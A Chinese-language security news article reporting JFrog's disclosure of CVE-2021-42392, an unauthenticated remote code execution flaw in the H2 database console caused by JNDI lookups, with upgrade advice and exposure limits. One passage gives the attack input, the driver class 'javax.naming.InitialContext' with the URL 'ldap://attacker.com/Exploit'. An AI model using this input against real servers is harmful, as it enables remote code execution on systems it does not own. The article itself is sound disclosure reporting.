CVE-2021-42392尚未在国家漏洞数据库(NVD)中正式发布,但据软件内部人士JFrog称,它会影响流行的H2JavaSQL数据库的控制台。该安全公司提醒任何当前运行暴露于其LAN或WAN的H2控制台的组织立即将数据库更新到版本2.0.206,否则攻击者可以利用它进行未经身份验证的远程代码执行(RCE)。与Log4Shell一样,该错误与JNDI(Java命名和目录接口)“远程类加载”有关。JNDI是一种为Java应用程序提供命名和目录功能的API。这意味着如果攻击者可以将恶意URL获取到JNDI查找中,它就可以启用RCE。“简而言之,根本原因类似于Log4Shell-H2数据库框架中的多个代码路径将未经过滤的攻击者控制的URL传递给javax.naming.Context.lookup函数,这允许远程代码库加载(AKAJava代码注入AKA远程代码执行),”JFrog解释说。“具体来说,org.h2.util.JdbcUtils.getConnection方法将驱动程序类名和数据库URL作为参数。如果驱动程序的类可分配给javax.naming.Context类,则该方法从它实例化一个对象并调用其查找方法。”提供一个驱动程序类,例如“javax.naming.InitialContext”和一个像ldap一样简单的URL://attacker.com/Exploit会导致远程代码执行,该漏洞特别危险,因为H2数据库包特别受欢迎,JFrog说,该公司声称它是最受欢迎的50个Maven包之一,有近7000个artifactdependencies.然而,有几个原因导致漏洞利用不像Log4Shell那样广泛。一方面,它有一个“直接影响范围”,这意味着易受攻击的服务器应该更容易找到。其次,在大多数H2发行版中,控制台仅侦听本地主机连接,这意味着默认设置不可利用。“许多供应商可能正在运行H2数据库而不是H2控制台,虽然除了控制台之外还有其他可以利用此问题的向量,但这些其他向量依赖于上下文并且不太可能暴露给远程攻击者,”JFrog补充道。
